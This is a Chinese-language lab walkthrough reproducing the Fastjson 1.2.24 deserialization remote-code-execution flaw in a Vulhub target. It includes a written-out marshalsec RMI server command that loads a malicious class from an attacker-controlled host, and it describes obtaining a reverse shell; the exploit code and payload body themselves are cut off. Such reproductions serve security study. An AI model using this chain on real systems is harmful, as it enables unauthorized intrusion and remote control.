复现Fastjson-1.2.24.md
Last Update:
具体知识参考:fastjson反序列化漏洞演示加详细讲解加原理_哔哩哔哩_bilibili
靶场搭建:
Fastjson 1.2.24反序列化漏洞(Vulhub)使用方法_vulhub的fastjson环境-CSDN博客
Fastjson【RCE1.2.47】漏洞复现_fastjson 1.2.47 漏洞-CSDN博客
详细内容参考:
靶机 ip:27.25.151.38
攻击机 ip:8.130.55.42
需要 java 和 javac 环境,版本版本保持一致,都是 1.8
过程:
首先,确保你的系统已经安装了Docker和Git。然后,通过Git克隆Vulhub的仓库到本地:‘git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)’(或者自己下载文件)下载 vulhub 靶场,然后进入 Fastjson 目录,去 1.2.24 目录,然后使用 ‘docker-compose up’开启靶场
访问靶机 ip:端口,像这样就搭建好了
在攻击机上创建文件
1 | // javac exp.java |
编译.java文件,生成.class文件。
javac exp.java
在class文件所在的目录,Python起一个http服务。
接下来需要使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类 exp.class:
在攻击机开启RMI服务,注意要更改 “” 中的内容为你的攻击机 ip
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://8.130.55.42:444/#exp“ 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://(启动 python 服务的 ip):(启动 python 服务的端口)/#(class 文件名)” 9999
marshalsec-0.0.3-SNAPSHOT-all.jar,下载地址为marshalsec-0.0.3-SNAPSHOT-all.jar
可以直接使用命令‘git clone https://github.com/mbechler/marshalsec.git’。下载‘marshalsec-0.0.3-SNAPSHOT-all.jar’
在pom.xml所在目录,需要运行以下命令‘mvn clean package -DskipTests’生成.jar文件(生成成功后位于此目录的target子目录下)
详细过程可以查看以下链接:下载marshalsec
使用 bp 抓包靶机,抓包后改GET包为POST包(右键->变更请求方法),然后在发送的请求数据包中输入以下payload:
1 | 把原来的 |
就反弹 shell 成功了
reward

